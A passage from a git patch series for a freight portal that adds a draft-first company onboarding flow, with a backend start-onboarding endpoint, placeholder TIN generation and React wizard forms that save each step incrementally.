CreateCompanyPayload) => void; isPending: boolean; onBack: () => void; + /** Step to resume at (defaults to "company"). */ + initialStep?: ForwarderStep; + /** Reports the active step so the parent can persist resume progress. */ + onStepChange?: (step: ForwarderStep) => void; }) { - const [step, setStep] = useState("company"); + const [step, setStep] = useState(initialStep ?? "company"); + + // Report each step change up so the wizard can persist it for resume. + useEffect(() => { + onStepChange?.(step); + // eslint-disable-next-line react-hooks/exhaustive-deps + }, [step]); const [internalFiles, setInternalFiles] = useState>({}); const documentFiles = controlledFiles ?? internalFiles; const setDocumentFiles = onDocumentFilesChange ?? setInternalFiles; diff --git a/apps/edr-freight-web/portal/src/services/api.ts b/apps/edr-freight-web/portal/src/services/api.ts index 8615061d7..e2c92fde6 100644 --- a/apps/edr-freight-web/portal/src/services/api.ts +++ b/apps/edr-freight-web/portal/src/services/api.ts @@ -2,11 +2,9 @@ import type { Freight, PaginatedResponse } from "@edr/types"; import { endpoint } from "@/utils/endpoint"; import type { CreateFileUploadFieldDto, - CreateFileUploadSettingDto, FileUploadField, FileUploadSetting, UpdateFileUploadFieldDto, - UpdateFileUploadSettingDto, } from "@/types/fileUploadSettings"; import { bookingsService, From 9f5d28713956adb47bfa24ebbe45c37a1fea662c Mon Sep 17 00:00:00 2001 From: Marshal Date: Fri, 19 Jun 2026 22:50:24 +0000 Subject: [PATCH 03/30] feat: implement onboarding process with draft company and profile creation --- .../modules/companies/companies.controller.ts | 25 +++ .../modules/companies/companies.service.ts | 136 ++++++++++++- .../companies/dto/start-onboarding.dto.ts | 13 ++ .../onboarding/OnboardingWizardDialog.tsx | 181 ++++++++++-------- .../portal/src/constants/URLS.ts | 1 + .../src/pages/accounts/CompanyProfileForm.tsx | 83 ++++++-- .../src/pages/accounts/ForwarderForm.tsx | 77 ++++++-- .../portal/src/services/api.ts | 5 + .../portal/src/services/companies.service.ts | 12 ++ 9 files changed, 423 insertions(+), 110 deletions(-) create mode 100644 apps/edr-freight-api/src/modules/companies/dto/start-onboarding.dto.ts diff --git a/apps/edr-freight-api/src/modules/companies/companies.controller.ts b/apps/edr-freight-api/src/modules/companies/companies.controller.ts index d09effef3..21cbfd67b 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.controller.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.controller.ts @@ -27,6 +27,7 @@ import { AddCompanyProfilesDto } from "./dto/add-company-profiles.dto"; import { CreateCompanyProfileDto } from "./dto/create-company-profile.dto"; import { SetActiveModeDto } from "./dto/set-active-mode.dto"; import { SetOnboardingStepDto } from "./dto/set-onboarding-step.dto"; +import { StartOnboardingDto } from "./dto/start-onboarding.dto"; import { ResponseCompanyDto, ResponseCompanyProfileDto, @@ -108,6 +109,30 @@ export class CompaniesController { return profiles.map((p) => new ResponseCompanyProfileDto(p)); } + @Post("onboarding/start") + @ApiOperation({ + summary: + "Begin onboarding: create a draft company + profile + role(s) so later steps can save incrementally", + }) + async startOnboarding( + @CurrentUser() user: CurrentIamUser, + @Body() dto: StartOnboardingDto, + ): Promise { + const nameParts = (user.name?.en ?? "").split(" "); + const { profile, company } = await this.companiesService.startOnboarding( + { + userId: user.id, + firstName: nameParts[0] || "", + lastName: nameParts.slice(-1)[0] || "", + email: user.email ?? "", + phone: user.phoneNumber ?? "", + }, + dto.companyType, + dto.roles, + ); + return new CompanyInfoResponseDto(profile, company); + } + @Post("company-profile") @ApiOperation({ summary: diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts index edeaafe57..65a736e1f 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.service.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts @@ -15,7 +15,7 @@ import { CreateCompanyWithProfileDto } from "./dto/create-company-with-profile.d import { UpdateProfileDto } from "./dto/update-profile.dto"; import { ProfileResponseDto } from "./dto/profile-response.dto"; import { DashboardSummaryResponseDto } from "./dto/dashboard-summary-response.dto"; -import { Company } from "./entities/company.entity"; +import { Company, CompanyStatus, CompanyType } from "./entities/company.entity"; import { ExternalProfile } from "./entities/external-profile.entity"; import { CompanyProfile, @@ -137,6 +137,112 @@ export class CompaniesService { return { company, profile }; } + /** + * Begin onboarding: create a DRAFT company + the user's external profile + the + * chosen operational role(s) up front, so every subsequent wizard step can + * save incrementally (PATCH /profile, /onboarding-step) against existing rows. + * + * Idempotent: if the user already has a profile, returns it unchanged (only + * adding any newly-chosen roles). The draft company carries a placeholder TIN + * (the real one is filled on the Company Information step) and stays + * status=pending / onboardingCompleted=false until the wizard finishes. + */ + async startOnboarding( + identity: UserIdentity, + companyType: CompanyType, + roles: ProfileType[], + ): Promise<{ profile: ExternalProfile; company: Company }> { + // Already started — reuse the existing draft, just ensure roles exist. + const existing = await this.profilesRepo.findByUserId(identity.userId); + if (existing) { + const companyId = existing.company?.id ?? existing.companyId; + await this.ensureCompanyProfiles(companyId, companyType, roles); + return this.getCompanyInfoByUserId(identity.userId); + } + + // A profile may exist for the same email under a different IAM id — block + // duplicates as the final create does. + const byEmail = await this.profilesRepo.findByEmail(identity.email); + if (byEmail) { + throw new ConflictException( + `Profile with email ${identity.email} already exists`, + ); + } + + const allowedTypes = this.getProfileTypeForCompanyType(companyType); + const chosenTypes = roles.filter((t) => allowedTypes.includes(t)); + const activeProfileType = + chosenTypes.find((t) => t === ProfileType.importer) ?? + chosenTypes[0] ?? + allowedTypes[0] ?? + null; + + const company = await this.companiesRepo.create({ + name: identity.firstName + ? `${identity.firstName}'s company` + : "New company", + type: companyType, + tin: await this.generateDraftTin(), + country: "Ethiopia", + status: CompanyStatus.Pending, + }); + + await this.profilesRepo.create({ + userId: identity.userId, + companyId: company.id, + firstName: identity.firstName, + lastName: identity.lastName, + email: identity.email, + phone: identity.phone, + isPrimaryContact: true, + activeProfileType, + onboardingStep: "company", + onboardingCompleted: false, + }); + + await this.ensureCompanyProfiles(company.id, companyType, chosenTypes); + + return this.getCompanyInfoByUserId(identity.userId); + } + + /** Create any of the requested operational profiles that don't exist yet. */ + private async ensureCompanyProfiles( + companyId: string, + companyType: CompanyType, + roles: ProfileType[], + ): Promise { + const allowedTypes = this.getProfileTypeForCompanyType(companyType); + for (const type of roles) { + if (!allowedTypes.includes(type)) continue; + const existing = await this.companyProfilesRepo.findByType( + companyId, + type, + ); + if (existing) continue; + const reference = await this.companyProfilesRepo.generateReference(type); + await this.companyProfilesRepo.create({ + companyId, + type, + reference, + status: ProfileStatus.Active, + }); + } + } + + /** + * A unique 10-char placeholder TIN for a draft company (the column is + * NOT NULL + unique). Overwritten with the real TIN on the company step. + */ + private async generateDraftTin(): Promise { + for (let i = 0; i < 10; i++) { + const candidate = + "D" + Math.floor(Math.random() * 1_000_000_000).toString().padStart(9, "0"); + if (!(await this.companiesRepo.existsByTin(candidate))) return candidate; + } + // Extremely unlikely; fall back to a timestamp-derived value. + return ("D" + Date.now().toString()).slice(0, 10); + } + async findAllCompanies(): Promise { return this.companiesRepo.findAll({ order: { name: "ASC" } }); } @@ -356,7 +462,17 @@ export class CompaniesService { companyUpdates.country = dto.companyLocation; if (dto.companyAddress !== undefined) companyUpdates.address = dto.companyAddress; - if (dto.tin !== undefined) companyUpdates.tin = dto.tin; + if (dto.tin !== undefined && dto.tin !== company.tin) { + // Reject a TIN already taken by a different company (the user's own draft + // placeholder is fine to overwrite). + const owner = await this.companiesRepo.findByTin(dto.tin); + if (owner && owner.id !== company.id) { + throw new ConflictException( + `Company with TIN ${dto.tin} already exists`, + ); + } + companyUpdates.tin = dto.tin; + } if (dto.vatNumber !== undefined) companyUpdates.vatNumber = dto.vatNumber; if (dto.fanNumber !== undefined) { companyUpdates.fanNumber = dto.fanNumber; @@ -619,9 +735,23 @@ export class CompaniesService { const profile = await this.profilesRepo.findByUserId(userId); if (!profile) throw new NotFoundException(`Profile for user ${userId} not found`); + + const companyId = profile.company?.id ?? profile.companyId; + const company = await this.findCompanyById(companyId); + + // Guard against finishing on a still-draft company (TIN never filled in). + if (!company.tin || company.tin.startsWith("D")) { + throw new BadRequestException( + "Company information is incomplete — please fill in your company details before finishing.", + ); + } + await this.profilesRepo.update(profile.id, { onboardingCompleted: true, - onboardingStep: 'done', + onboardingStep: "done", + }); + await this.companiesRepo.update(companyId, { + status: CompanyStatus.Active, }); return this.getCompanyInfoByUserId(userId); } diff --git a/apps/edr-freight-api/src/modules/companies/dto/start-onboarding.dto.ts b/apps/edr-freight-api/src/modules/companies/dto/start-onboarding.dto.ts new file mode 100644 index 000000000..edbe13145 --- /dev/null +++ b/apps/edr-freight-api/src/modules/companies/dto/start-onboarding.dto.ts @@ -0,0 +1,13 @@ +import { ArrayMinSize, IsArray, IsEnum } from "class-validator"; +import { CompanyType } from "../entities/company.entity"; +import { ProfileType } from "../entities/company-profile.entity"; + +export class StartOnboardingDto { + @IsEnum(CompanyType) + companyType!: CompanyType; + + @IsArray() + @ArrayMinSize(1) + @IsEnum(ProfileType, { each: true }) + roles!: ProfileType[]; +} diff --git a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx index 9b11267cc..6cd7f21b1 100644 --- a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx +++ b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx @@ -1,15 +1,16 @@ -import { Button, Group, Modal, ScrollArea, Stack, Text } from "@mantine/core"; +import { Modal, ScrollArea, Stack, Text } from "@mantine/core"; import { useMutation, useQueryClient } from "@tanstack/react-query"; -import { CheckCircle2 } from "lucide-react"; import { useCallback, useState } from "react"; import useAuth from "@/hooks/useAuth"; import { api } from "@/services/api"; import type { - CompanyProfileInput, CreateCompanyPayload, + ProfileTypeValue, } from "@/services/companies.service"; import { companiesService } from "@/services/companies.service"; +import type { UpdateProfilePayload } from "@/types/profile"; +import { extractApiError } from "@/utils/result"; import CompanyProfileForm from "@/pages/accounts/CompanyProfileForm"; import ForwarderForm from "@/pages/accounts/ForwarderForm"; import { FREIGHT_FORWARDER } from "@/pages/settings/companyRoles"; @@ -44,10 +45,11 @@ function documentSettingCode(companyType: string): string { } /** - * Blocking, non-dismissable first-run onboarding wizard. Step 1 picks the - * operational role(s); the remaining steps reuse the existing company/forwarder - * forms. On completion the company is created with its company_profiles and the - * active mode is set server-side, then onboarding is marked complete. + * First-run onboarding wizard with a "draft-first" flow: picking the role(s) + * immediately creates a draft company + profile on the backend, so every + * subsequent step saves its data incrementally (PATCH /profile, /onboarding-step) + * against existing rows. The final step uploads documents and marks onboarding + * complete. Dismissable — the gate keeps it reachable until finished. */ export default function OnboardingWizardDialog({ opened, @@ -56,53 +58,59 @@ export default function OnboardingWizardDialog({ const queryClient = useQueryClient(); const { user, company, onboardingStep } = useAuth(); - // A company already exists but onboarding wasn't marked complete (e.g. the - // browser closed after create but before finishing). Don't re-create it — - // just let the user finish. - const companyAlreadyCreated = Boolean(company?.company?.id); + const existingProfiles = company?.company?.companyProfiles ?? []; + const companyAlreadyStarted = Boolean(company?.company?.id); - // Resume position from the backend-persisted step. A form step means the user - // had already passed role selection. Cross-session we still start at role - // selection (the roles + field values aren't persisted), but within a session - // the dialog stays mounted so dismiss/reopen continues exactly where it was. + // Resume position from the backend-persisted step. const resumeFormStep: FormStep = FORM_STEPS.includes(onboardingStep as FormStep) ? (onboardingStep as FormStep) : "company"; - // "role" → pick roles; otherwise the company/forwarder form drives its own - // internal steps. - const [phase, setPhase] = useState<"role" | "form">("role"); - const [roles, setRoles] = useState([]); + // If a draft already exists, resume straight into the form with its roles + // pre-selected; otherwise start at role selection. + const [phase, setPhase] = useState<"role" | "form">( + companyAlreadyStarted ? "form" : "role", + ); + const [roles, setRoles] = useState( + existingProfiles.map((p) => p.type), + ); const [documentFiles, setDocumentFiles] = useState< Record >({}); + const [startError, setStartError] = useState(null); - const createCompanyMutation = useMutation({ - mutationFn: (payload: CreateCompanyPayload) => - api.companies.create.call(payload), - onSuccess: async (data) => { + const refreshInfo = useCallback( + () => + queryClient.invalidateQueries({ + queryKey: api.companies.getInfo.queryKey(), + }), + [queryClient], + ); + + // Begin onboarding: create the draft company + profile + role(s). + const startMutation = useMutation({ + mutationFn: (vars: { companyType: string; roles: ProfileTypeValue[] }) => + api.companies.startOnboarding.call(vars), + onSuccess: async () => { + await refreshInfo(); + setPhase("form"); + }, + onError: (err) => setStartError(extractApiError(err).message), + }); + + // Finalize: upload any documents, then mark onboarding complete. + const finishMutation = useMutation({ + mutationFn: async () => { + const companyId = company?.company?.id; const hasFiles = Object.values(documentFiles).some( (f) => f !== null && (Array.isArray(f) ? f.length > 0 : true), ); - if (hasFiles) { - await companiesService.uploadDocuments(data.company.id, documentFiles); + if (companyId && hasFiles) { + await companiesService.uploadDocuments(companyId, documentFiles); } - // Mark onboarding complete, then refresh the company info so the gate - // releases and the header reflects the new profile(s). - await api.companies.completeOnboarding.call(); - await queryClient.invalidateQueries({ - queryKey: api.companies.getInfo.queryKey(), - }); - }, - }); - - const finishMutation = useMutation({ - mutationFn: () => api.companies.completeOnboarding.call(), - onSuccess: async () => { - await queryClient.invalidateQueries({ - queryKey: api.companies.getInfo.queryKey(), - }); + return api.companies.completeOnboarding.call(); }, + onSuccess: refreshInfo, }); // Persist the resume step to the backend (best-effort, fire-and-forget). @@ -111,27 +119,39 @@ export default function OnboardingWizardDialog({ }, []); const handleRolesContinue = useCallback(() => { - setPhase("form"); - persistStep("company"); - }, [persistStep]); + setStartError(null); + startMutation.mutate({ + companyType: companyTypeForRoles(roles), + roles: roles as ProfileTypeValue[], + }); + }, [roles, startMutation]); const handleBackToRoles = useCallback(() => { setPhase("role"); persistStep("role"); }, [persistStep]); - const handleSubmit = useCallback( - (payload: CreateCompanyPayload) => { - const companyProfiles: CompanyProfileInput[] = roles.map((type) => ({ - type: type as CompanyProfileInput["type"], - })); - createCompanyMutation.mutate({ - ...payload, - companyType: companyTypeForRoles(roles), - companyProfiles, - }); + // Save the current step's fields to the draft (PATCH /profile). Returns false + // to keep the form on the current step when the save fails. + const saveStep = useCallback( + async (data: Partial): Promise => { + try { + await api.companies.updateProfile.call(data as UpdateProfilePayload); + return true; + } catch { + return false; + } }, - [roles, createCompanyMutation], + [], + ); + + // Final confirm step → finalize onboarding (no company create; it already + // exists as a draft that's been filled in step-by-step). + const handleSubmit = useCallback( + (_payload: CreateCompanyPayload) => { + finishMutation.mutate(); + }, + [finishMutation], ); if (!user) return null; @@ -161,37 +181,26 @@ export default function OnboardingWizardDialog({ Complete your onboarding - {companyAlreadyCreated - ? "You're almost there — finish to start using the portal." - : phase === "role" - ? "Tell us what your company does to get started." - : "Set up your company profile to finish."} + {phase === "role" + ? "Tell us what your company does to get started." + : "Set up your company profile to finish."} } > - {companyAlreadyCreated ? ( - - - - Your company profile is set up. Click finish to complete onboarding - and unlock the rest of the portal. - - - - - - ) : phase === "role" ? ( + {phase === "role" ? ( - + {startError && ( + + {startError} + + )} + ) : isForwarder ? ( ) : ( )} @@ -224,19 +235,21 @@ export default function OnboardingWizardDialog({ function RoleContinueBar({ disabled, + loading, onClick, }: { disabled: boolean; + loading?: boolean; onClick: () => void; }) { return ( ); } diff --git a/apps/edr-freight-web/portal/src/constants/URLS.ts b/apps/edr-freight-web/portal/src/constants/URLS.ts index 195dcb692..3854ecdca 100644 --- a/apps/edr-freight-web/portal/src/constants/URLS.ts +++ b/apps/edr-freight-web/portal/src/constants/URLS.ts @@ -86,6 +86,7 @@ export const URL_CONSTANTS = { COMPANY_PROFILES: "/api/companies/company-profiles", COMPANY_PROFILE: "/api/companies/company-profile", ACTIVE_MODE: "/api/companies/active-mode", + ONBOARDING_START: "/api/companies/onboarding/start", ONBOARDING_STEP: "/api/companies/onboarding-step", ONBOARDING_COMPLETE: "/api/companies/onboarding/complete", DASHBOARD: "/api/companies/dashboard", diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index 913726008..d51f31490 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -28,6 +28,7 @@ import { z } from "zod"; import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; +import type { UpdateProfilePayload } from "@/types/profile"; import PhoneInput from "@/components/auth/PhoneInput"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; @@ -118,6 +119,44 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { }; } +/** Map one wizard step's form values to the profile-update payload it saves. */ +function stepPayload(step: CompanyStep, d: FormData): Partial { + switch (step) { + case "company": + return { + companyName: d.companyName, + companyEmail: d.companyEmail, + companyPhone: `${d.companyPhoneCountryCode}${d.companyPhone}`, + companyLocation: d.companyLocation, + companyAddress: d.companyAddress, + tin: d.tinNumber, + vatNumber: d.vatNumber, + fanNumber: d.fanNumber, + }; + case "personnel": + return { + contactPersonName: d.contactPersonName, + contactPersonPhone: `${d.contactPersonPhoneCountryCode}${d.contactPersonPhone}`, + generalManagerName: d.generalManagerName, + generalManagerEmail: d.generalManagerEmail, + generalManagerPhone: `${d.generalManagerPhoneCountryCode}${d.generalManagerPhone}`, + }; + case "poa": + return { + poaName: d.poaName || undefined, + poaPhone: + d.poaPhone && d.poaPhoneCountryCode + ? `${d.poaPhoneCountryCode}${d.poaPhone}` + : undefined, + poaEmail: d.poaEmail || undefined, + poaLocation: d.poaLocation || undefined, + poaAddress: d.poaAddress || undefined, + }; + default: + return {}; + } +} + export default function CompanyProfileForm({ documentSettingCode, documentFiles: controlledFiles, @@ -128,6 +167,7 @@ export default function CompanyProfileForm({ onBack, initialStep, onStepChange, + onSaveStep, }: { documentSettingCode: string; documentFiles?: Record; @@ -140,8 +180,11 @@ export default function CompanyProfileForm({ initialStep?: CompanyStep; /** Reports the active step so the parent can persist resume progress. */ onStepChange?: (step: CompanyStep) => void; + /** Persist the current step's data before advancing (returns false to block). */ + onSaveStep?: (data: Partial) => Promise; }) { const [step, setStep] = useState(initialStep ?? "company"); + const [saving, setSaving] = useState(false); // Report each step change up so the wizard can persist it for resume. useEffect(() => { @@ -199,22 +242,34 @@ export default function CompanyProfileForm({ const hasDocuments = Boolean(uploadSetting?.fields?.length); const totalSteps = 5; + /** Validate + persist the current step, returning whether we may advance. */ + const saveCurrentStep = async (): Promise => { + const isValid = await trigger(stepFields[step]); + if (!isValid) return false; + if (!onSaveStep) return true; + setSaving(true); + try { + return await onSaveStep(stepPayload(step, watch())); + } finally { + setSaving(false); + } + }; + const nextStep = async () => { - if (step === "poa") { - setStep("documents"); + if (step === "confirm") { + handleSubmit((data) => onSubmit(buildPayload(data, user)))(); return; } if (step === "documents") { setStep("confirm"); return; } - if (step === "confirm") { - handleSubmit((data) => onSubmit(buildPayload(data, user)))(); - return; - } - const isValid = await trigger(stepFields[step]); - if (!isValid) return; - setStep(step === "company" ? "personnel" : "poa"); + // company / personnel / poa: validate + save before advancing. + const ok = await saveCurrentStep(); + if (!ok) return; + setStep( + step === "company" ? "personnel" : step === "personnel" ? "poa" : "documents", + ); }; const prevStep = () => { @@ -593,11 +648,15 @@ export default function CompanyProfileForm({ } disabled={ isPending || + saving || (step === "documents" && !hasDocuments && loadingDocuments) } - loading={isPending} + loading={isPending || saving} rightSection={ - !isPending && step !== "confirm" && step !== "documents" ? ( + !isPending && + !saving && + step !== "confirm" && + step !== "documents" ? ( ) : undefined } @@ -606,7 +665,7 @@ export default function CompanyProfileForm({ ? "Continue" : step === "confirm" ? "Submit Registration" - : "Next Step"} + : "Save & Continue"}
diff --git a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx index 6f06d9c48..8efcd6a7f 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/ForwarderForm.tsx @@ -17,6 +17,7 @@ import { z } from "zod"; import type { AuthUser } from "@/types/auth"; import type { CreateCompanyPayload } from "@/services/companies.service"; +import type { UpdateProfilePayload } from "@/types/profile"; import PhoneInput from "@/components/auth/PhoneInput"; import { SmartFileInput } from "@edr/ui-common"; import { api } from "@/services/api"; @@ -83,6 +84,44 @@ function buildPayload(data: FormData, _user: AuthUser): CreateCompanyPayload { }; } +/** Map one wizard step's form values to the profile-update payload it saves. */ +function stepPayload(step: ForwarderStep, d: FormData): Partial { + switch (step) { + case "company": + return { + companyName: d.companyName, + companyEmail: d.companyEmail, + companyPhone: `${d.companyPhoneCountryCode}${d.companyPhone}`, + companyLocation: d.companyLocation, + companyAddress: d.companyAddress, + tin: d.tinNumber, + vatNumber: d.vatNumber, + fanNumber: d.fanNumber, + }; + case "personnel": + return { + contactPersonName: d.contactPersonName, + contactPersonPhone: `${d.contactPersonPhoneCountryCode}${d.contactPersonPhone}`, + generalManagerName: d.generalManagerName, + generalManagerEmail: d.generalManagerEmail, + generalManagerPhone: `${d.generalManagerPhoneCountryCode}${d.generalManagerPhone}`, + }; + case "poa": + return { + poaName: d.poaName || undefined, + poaPhone: + d.poaPhone && d.poaPhoneCountryCode + ? `${d.poaPhoneCountryCode}${d.poaPhone}` + : undefined, + poaEmail: d.poaEmail || undefined, + poaLocation: d.poaLocation || undefined, + poaAddress: d.poaAddress || undefined, + }; + default: + return {}; + } +} + export default function ForwarderForm({ documentSettingCode, documentFiles: controlledFiles, @@ -93,6 +132,7 @@ export default function ForwarderForm({ onBack, initialStep, onStepChange, + onSaveStep, }: { documentSettingCode: string; documentFiles?: Record; @@ -105,8 +145,11 @@ export default function ForwarderForm({ initialStep?: ForwarderStep; /** Reports the active step so the parent can persist resume progress. */ onStepChange?: (step: ForwarderStep) => void; + /** Persist the current step's data before advancing (returns false to block). */ + onSaveStep?: (data: Partial) => Promise; }) { const [step, setStep] = useState(initialStep ?? "company"); + const [saving, setSaving] = useState(false); // Report each step change up so the wizard can persist it for resume. useEffect(() => { @@ -136,13 +179,25 @@ export default function ForwarderForm({ const hasDocuments = Boolean(uploadSetting?.fields?.length); const totalSteps = 5; - const nextStep = async () => { - if (step === "poa") { setStep("documents"); return; } - if (step === "documents") { setStep("confirm"); return; } - if (step === "confirm") { handleSubmit((data) => onSubmit(buildPayload(data, user)))(); return; } + /** Validate + persist the current step, returning whether we may advance. */ + const saveCurrentStep = async (): Promise => { const isValid = await trigger(stepFields[step]); - if (!isValid) return; - setStep(step === "company" ? "personnel" : "poa"); + if (!isValid) return false; + if (!onSaveStep) return true; + setSaving(true); + try { + return await onSaveStep(stepPayload(step, watch())); + } finally { + setSaving(false); + } + }; + + const nextStep = async () => { + if (step === "confirm") { handleSubmit((data) => onSubmit(buildPayload(data, user)))(); return; } + if (step === "documents") { setStep("confirm"); return; } + const ok = await saveCurrentStep(); + if (!ok) return; + setStep(step === "company" ? "personnel" : step === "personnel" ? "poa" : "documents"); }; const skipDocuments = () => setStep("confirm"); @@ -423,18 +478,18 @@ export default function ForwarderForm({ {step === "documents" && ( - )} diff --git a/apps/edr-freight-web/portal/src/services/api.ts b/apps/edr-freight-web/portal/src/services/api.ts index e2c92fde6..8f14b0062 100644 --- a/apps/edr-freight-web/portal/src/services/api.ts +++ b/apps/edr-freight-web/portal/src/services/api.ts @@ -140,6 +140,11 @@ export const api = { CompanyProfileResponse >("companies", "createCompanyProfile", companiesService.createCompanyProfile), + startOnboarding: endpoint< + { companyType: string; roles: ProfileTypeValue[] }, + CompanyInfoResponse + >("companies", "startOnboarding", companiesService.startOnboarding), + setActiveMode: endpoint<{ type: ProfileTypeValue }, CompanyInfoResponse>( "companies", "setActiveMode", diff --git a/apps/edr-freight-web/portal/src/services/companies.service.ts b/apps/edr-freight-web/portal/src/services/companies.service.ts index e71949045..2789a9e3a 100644 --- a/apps/edr-freight-web/portal/src/services/companies.service.ts +++ b/apps/edr-freight-web/portal/src/services/companies.service.ts @@ -177,6 +177,18 @@ export const companiesService = { return unwrap(response.data); }, + /** Begin onboarding — create the draft company + profile + role(s) up front. */ + startOnboarding: async (payload: { + companyType: string; + roles: ProfileTypeValue[]; + }): Promise => { + const response = await client.post>( + URL_CONSTANTS.COMPANIES_API.ONBOARDING_START, + payload, + ); + return unwrap(response.data); + }, + /** Switch the active operational mode (target profile must already exist). */ setActiveMode: async (payload: { type: ProfileTypeValue; From ce8189d5fe7889c0d5a08c12c57029abe2b22c1e Mon Sep 17 00:00:00 2001 From: Marshal Date: Fri, 19 Jun 2026 23:04:39 +0000 Subject: [PATCH 04/30] feat: enhance onboarding forms with error handling and step persistence --- .../modules/companies/companies.service.ts | 2 +- .../onboarding/OnboardingWizardDialog.tsx | 35 ++++++--- .../src/pages/accounts/CompanyProfileForm.tsx | 75 +++++++++++++++---- .../src/pages/accounts/ForwarderForm.tsx | 56 ++++++++++++-- 4 files changed, 132 insertions(+), 36 deletions(-) diff --git a/apps/edr-freight-api/src/modules/companies/companies.service.ts b/apps/edr-freight-api/src/modules/companies/companies.service.ts index 65a736e1f..dae561470 100644 --- a/apps/edr-freight-api/src/modules/companies/companies.service.ts +++ b/apps/edr-freight-api/src/modules/companies/companies.service.ts @@ -468,7 +468,7 @@ export class CompaniesService { const owner = await this.companiesRepo.findByTin(dto.tin); if (owner && owner.id !== company.id) { throw new ConflictException( - `Company with TIN ${dto.tin} already exists`, + `This TIN (${dto.tin}) is already registered to another company. Please check the number and try again.`, ); } companyUpdates.tin = dto.tin; diff --git a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx index 6cd7f21b1..ddb046004 100644 --- a/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx +++ b/apps/edr-freight-web/portal/src/components/onboarding/OnboardingWizardDialog.tsx @@ -1,6 +1,6 @@ import { Modal, ScrollArea, Stack, Text } from "@mantine/core"; import { useMutation, useQueryClient } from "@tanstack/react-query"; -import { useCallback, useState } from "react"; +import { useCallback, useRef, useState } from "react"; import useAuth from "@/hooks/useAuth"; import { api } from "@/services/api"; @@ -113,8 +113,14 @@ export default function OnboardingWizardDialog({ onSuccess: refreshInfo, }); - // Persist the resume step to the backend (best-effort, fire-and-forget). + // Persist the resume step to the backend, but only ever move FORWARD — going + // Back must never downgrade the furthest step the user reached, so reopening + // always lands on the furthest step. + const furthestIdxRef = useRef(FORM_STEPS.indexOf(resumeFormStep)); const persistStep = useCallback((step: string) => { + const idx = FORM_STEPS.indexOf(step as FormStep); + if (idx < 0 || idx <= furthestIdxRef.current) return; + furthestIdxRef.current = idx; api.companies.setOnboardingStep.call({ step }).catch(() => {}); }, []); @@ -126,20 +132,21 @@ export default function OnboardingWizardDialog({ }); }, [roles, startMutation]); - const handleBackToRoles = useCallback(() => { - setPhase("role"); - persistStep("role"); - }, [persistStep]); + // Note: no "back to role selection" — once the draft is created the role(s) + // are fixed; the form's first-step Back is a no-op so progress never resets. + const handleBackToRoles = useCallback(() => {}, []); - // Save the current step's fields to the draft (PATCH /profile). Returns false - // to keep the form on the current step when the save fails. + // Save the current step's fields to the draft (PATCH /profile). Returns the + // server error message on failure so the form can show it (e.g. duplicate TIN). const saveStep = useCallback( - async (data: Partial): Promise => { + async ( + data: Partial, + ): Promise<{ ok: true } | { ok: false; error: string }> => { try { await api.companies.updateProfile.call(data as UpdateProfilePayload); - return true; - } catch { - return false; + return { ok: true }; + } catch (err) { + return { ok: false, error: extractApiError(err).message }; } }, [], @@ -211,7 +218,9 @@ export default function OnboardingWizardDialog({ onSubmit={handleSubmit} isPending={finishMutation.isPending} onBack={handleBackToRoles} + hideFirstStepBack initialStep={resumeFormStep} + resyncOpen={opened} onStepChange={persistStep} onSaveStep={saveStep} /> @@ -224,7 +233,9 @@ export default function OnboardingWizardDialog({ onSubmit={handleSubmit} isPending={finishMutation.isPending} onBack={handleBackToRoles} + hideFirstStepBack initialStep={resumeFormStep} + resyncOpen={opened} onStepChange={persistStep} onSaveStep={saveStep} /> diff --git a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx index d51f31490..2ce65b29e 100644 --- a/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx +++ b/apps/edr-freight-web/portal/src/pages/accounts/CompanyProfileForm.tsx @@ -1,4 +1,5 @@ import { + Alert, Box, Button, Divider, @@ -13,6 +14,7 @@ import { import { zodResolver } from "@hookform/resolvers/zod"; import { useQuery } from "@tanstack/react-query"; import { + AlertCircle, ArrowLeft, ArrowRight, Building2, @@ -22,7 +24,7 @@ import { UploadCloud, User, } from "lucide-react"; -import { useEffect, useState } from "react"; +import { useEffect, useRef, useState } from "react"; import { useForm } from "react-hook-form"; import { z } from "zod"; @@ -166,6 +168,8 @@ export default function CompanyProfileForm({ isPending, onBack, initialStep, + resyncOpen, + hideFirstStepBack, onStepChange, onSaveStep, }: { @@ -178,19 +182,38 @@ export default function CompanyProfileForm({ onBack: () => void; /** Step to resume at (defaults to "company"). */ initialStep?: CompanyStep; + /** When this flips true (dialog reopened), jump back to initialStep (furthest reached). */ + resyncOpen?: boolean; + /** Hide the Back button on the first step (onboarding can't go back to role pick). */ + hideFirstStepBack?: boolean; /** Reports the active step so the parent can persist resume progress. */ onStepChange?: (step: CompanyStep) => void; - /** Persist the current step's data before advancing (returns false to block). */ - onSaveStep?: (data: Partial) => Promise; + /** Persist the current step's data before advancing; returns an error to show. */ + onSaveStep?: ( + data: 